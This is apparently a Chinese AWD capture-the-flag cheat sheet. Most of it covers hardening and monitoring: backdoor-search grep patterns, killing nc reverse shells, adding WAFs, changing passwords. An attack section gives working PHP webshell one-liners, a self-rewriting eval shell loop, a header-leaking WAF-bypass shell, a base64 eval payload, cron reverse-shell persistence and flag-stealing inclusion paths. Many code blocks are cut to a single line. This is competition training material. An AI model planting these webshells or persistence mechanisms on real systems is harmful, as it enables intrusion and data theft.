防守&加固
靶机加固的前提:需要知道靶机的密码和权限
root权限可以做所有操作
web权限:只能加固web服务,mysql服务等
不知道靶机密码的情况
hydra爆破(kali自带)
1 | SSH 破解 |
python脚本爆破(需要安装paramiko库)
1 | import sys, time, argparse |
kali自带字典目录
1 | /usr/share/wordlists |
可能会用到的操作
ssh提供rsa公私钥连接方式
1 | ssh -i 私钥位置 user@hostname |
查看有那些用户
1 | cat /etc/passwd | grep /bin/bash |
可查看端口对应服务
1 | cat /etc/service |
查看开了哪些端口 是否存在后门
1 | netstat -anp |
1 | netstat -anp|grep "LISTEN" |
查看nc对应的进程和端口(其他程序同理,如:bash、python、php等反弹shell)
1 | netstat -nlpta|grep -w nc |
查看nc进程树
1 | ps aux|grep -w nc |
根据pid查找程序绝对路径
1 | ls -l /proc/2765/ | grep -w exe |
也可以用 lsof -p pid 命令
1 | lsof -p pid |
按照关掉端口的方式杀掉即可
关闭端口的方式
1 . 强制关闭
1 | kill -9 端口号 |
监控日志命令
1 | tail -f *.log |
scp实现ssh服务上传下载文件
上传
1 | scp [-P 端口] 本地文件路径 user@host:远程文件路径 |
下载
1 | scp [-P 端口] user@host:远程文件路径 本地文件路径 |
备份网站目录
打包网站 备份到/tmp目录下
备份到其他目录可能会因为没有权限而报错
1 | tar -czvf /tmp/html.tar.gz /var/www/html |
根据备份的源码恢复网站
1 | cd /tmp |
查找后门
1 | find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\(' |
查找flag的位置
1 | 使用 |
修改flag文件权限和设置不可更改
修改权限
1 | chmod 400 /root/flag |
设置不可更改属性
1 | chattr +i /root/flag |
克制不死马
强行kill掉进程后重启服务(不建议)
1
ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9
- 写脚本不断删除
1 |
|
干掉反弹shell
ps -ef / px -aux
出现www-data权限的/bin/sh一般为nc
如果有一些进程杀不掉可以尝试www-data权限去杀
kill.php
1 |
|
从浏览器访问,就是www-data权限
建议连着kill两次
加固
方向:更改口令、加固服务、清除后门、备份重要文件、移动系统命令、清楚执行命令的历史记录
上靶机,改ssh密码,看端口,根据对应端口做加固操作,无关紧要的端口统统关闭。定时任务一定要看。
更改ssh登录密码
1 | passwd |
更改vnc登录密码(没有的情况下不用)
1 | vncpasswd root |
加固web服务器方法
php网站加固
第一种:上waf
一般通防 WAF 会影响主办方 check,使用需谨慎,同时注意上 WAF 崩溃的问题
waf脚本网上搜集
waf的使用方式
方式一:可以使用 bash 命令在每一个 php 文件前面加上 require_once
包含 WAF 文件
传入的waf文件记得赋予可读可写入权限,不然不能生成文件
1 | 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?> |
1 | find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?phpnrequire_once('./log.php');n/g" |
方式二:修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限
1 | ; Automatically add files before PHP document. |
第二种:删除web服务器中存在漏洞页面
单个字符查找()
1 | grep -rn "相关函数名" --include *.php /var/www/html |
多字符查找
1 | grep -E -rn "字符串1|字符串2|字符串3|" 文件名 |
一条命令批量加固php代码
1 | sed -i "s/原字符串/新字符串/g" `grep 原字符串 --include=*.php -rl 所在目录` |
注释所有关键函数
注释include需注意,可能会导致网站加载不出来
1 | sed -i "s/eval/evaleval/g" `grep eval -rl --include=*.php /var/www/html` |
注释掉入口
1 | sed -i "s/_GET/GET/g" `grep _GET -rl --include=*.php /var/www/html` |
命令执行漏洞函数
1 | system() |
代码执行函数
1 | eval() |
文件包含函数
1 | include() |
文件读取
1 | file_get_contents() |
文件上传函数
1 | move_uploaded_file |
文件删除
1 | unlink() |
变量覆盖
1 | extract() |
sql注入
1 | mysqli |
其他危险函数
1 | copy |
第三种:删站&赋予不可访问权限
简单粗暴,直接让对手访问不了,但是可能会被裁判服务器check,导致扣分。
删除网站
1 | rm -rf /var/www/html/* |
赋予网站目录 000 权限
1 | chmod 000 /var/www/html |
重启网页服务器
1 | service apache2 restart |
JSP网站加固
1 | request |
1 | sed -i "s/request/requestrequest/g" `grep request -rl --include=*.php /var/www/html` |
Asp加固
1 | Request |
1 | sed -i "s/Request/RequestRequest/g" `grep Request -rl --include=*.php /var/www/html` |
加固数据库
更改数据库密码
第一种方法
1 | mysql -u root -p [默认密码] |
第二种方法
1 | update user set password = password("yangfan") where user = 'root'; |
mysql 5.7 修改密码
1 | update mysql.user set authentication_string=password('123qwe') where user='root' and Host = 'localhost'; |
mysql数据库开启远程连接
1 | use mysql; |
mysql数据关闭远程连接
1 | use mysql; |
加固ftp服务
修改登录密码
1 | passwd ftpuser |
关闭不需要的服务和守护进程
1 | /etc/init.d/vsftpd stop |
查看守护进程(如果有的话)
1 | cd /etc/xinetd.d/ |
开启内存地址随机化(防止pwn程序的利用)
1 | echo 2 > /proc/sys/kernel/randomize_va_space // 0是关闭,1是半随机,2是全随机 |
自启动相关
禁用启动项
开机自启动
chkconfig 命令
开启
1 | chkconfig 服务名 on |
关闭
1 | chkconfig 服务名 off |
防火墙
iptables 命令
定时任务
1 | crontable |
cat 一次性输入全部内容(在纯linux 下 不能查看前面的内容)
more 仅能向前移动,却不能向后移动
less 用来查看一页不能完全显示的文件
空格 向下翻页
n 向上翻页
移动系统命令(最后的大招)
将 /bin,/sbin,/usr/bin 下的全部程序移走,即使攻击者突破了前面的防守但是拿到shell后发现并不能执行系统命令,从而拿不到咱们的flag
1 | mkdir /etc/tmp |
把系统命令移走后,清空历史命令记录然后将cd等内建命令禁用
攻击
权限维持/后门技术
定时任务反弹shell
在/etc/networkt下写入反弹shell
1 | vim /etc/networkt |
赋予执行权限
1 | chmod +x /etc/networkt |
写入/etc/crontab 或者 crontab -e
1 | */1 * * * * root /etc/networkt |
不死马
1 |
|
1 | //马儿用法:POST::?pass=fany&a=command |
1 |
|
1 | get:pass=ocean888@.cn |
linux命令不死马
1 | while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done |
过盾一句话
1 | <?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?> |
可以改造成header返回的马,可以把这个一句话木马放到index.php中,直接访问index.php,从header中拿到flag,既不容易被发现马,又不容易被其他队利用
1 | <?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?> |
批量GETflag方法
模板
1 | import request |
核心的两句话
1 | res = request.get(url+payload) |
批量获取提交flag脚本
1 | import requests |
web漏洞获取flag
写批量提交的条件
知道赛场所有靶机ip地址
知道获取flag的payload
payload种类:
命令执行
1 | cat /flag.txt |
代码执行(用下面方式 弥补 命令执行带参数命令 不能回显的缺陷)
1 | @eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7 |
文件包含
1 | ?file=../../../flag.txt |
ssh获取flag
shell写批量登录ssh脚本拿flag的条件
知道所有靶机ip地址
知道ssh密码
知道flag位置
监控
注意权限问题:那些尽量选用低权限能用的
tail命令监控日志
1 | tail -f [日志文件] |
1 | ctf@4ef271a9a03b:/tmp$ tail -f log.txt |
日志/流量监控
流量监控也是可以使用aoiawd进行,aoiawd还是在后边,或者用别的脚本记录流量,有的比赛也会定时提供上阶段流量
被上马一定要先备份到本地,再删除、去分析反打别人
网上搜集脚本
php
log.php
1 |
|
1 | 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?> |
问题:不能监控linux隐藏文件的访问, 比如 .index.php 访问这个文件就检测不到。
文件监控
注意:被上马一定要先备份到本地,再删除、去分析反打别人
网上收集脚本
https://www.shuzhiduo.com/A/GBJrKlDG50/
使用方法
上传到靶机/tmp目录下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15ctf@4ef271a9a03b:/tmp/FileMonitor-master$ python main.py
_____________
< FileMonitor >
-------------
/\_)o<
| |
| O . O |
\_____/
By CoolCat
[08:36:56]:Please enter a directory:/var/www/html/
[08:37:01]:FileMonitor is running...
[08:37:07]:修改了/var/www/html/.a.php Hash为:41f12630a50703b6026654e2de8cada1
[08:37:07]:删除了/var/www/html/.a.php
[08:37:15]:新建了/var/www/html/.a.php
监控目录
1 | /var/www/html/ |
问题:垃圾日志太多
weblogger(不熟悉暂且不用)
使用方法
1 | cd /var/www/html/ (or other web dir) |
进程/端口监控(不熟悉暂且不用)
网上收集脚本
部署waf
waf部署需要谨慎,分为两种情况:无check机制、部分检查不允许上通防waf,有些比赛上通防可能会扣掉很多分实在
- 每个文件前边加 require_once(waf.php);
- 改 .user.ini配置文件 auto_prepend_file=
; 包含在文件头auto_append_file= ; 包含在文件尾
注:如果挂了waf出现持续扣分,waf去掉
有root权限
1.
1 | #每个文件前边加 require_once(waf.php); |
2.
1 | vim php.ini |
3.
1 | 改 .user.ini配置文件 auto_prepend_file=<filename>; 包含在文件头 |
注:如果挂了waf出现持续扣分,waf去掉
只有user权限
没写系统权限就只能在代码上面下手了,也就是文件包含。
这钟情况又可以用不同的方式包含。
1.
如果是框架型应用,那麽就可以添加在入口文件,例如index.php,
如果不是框架应用,可以在公共配置文件config.php等相关文件中包含。
1 | include('phpwaf.php'); |
2.
替换index.php,也就是将index.php改名为index2.php,然后讲phpwaf.php改成index.php。
当然还没完,还要在原phpwaf.php中包含原来的index.php
1 | index.php -> index2.php |
修改权限mysqll用户读表权限上传目录是否可执行的权限
部署文件监控脚本php.ini
1
auto_prepend_file = waf.php的路径;
1
2
3
4
5
6
7
8
9require_once('waf.php');
常用cms添加waf位置
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
其他
通用waf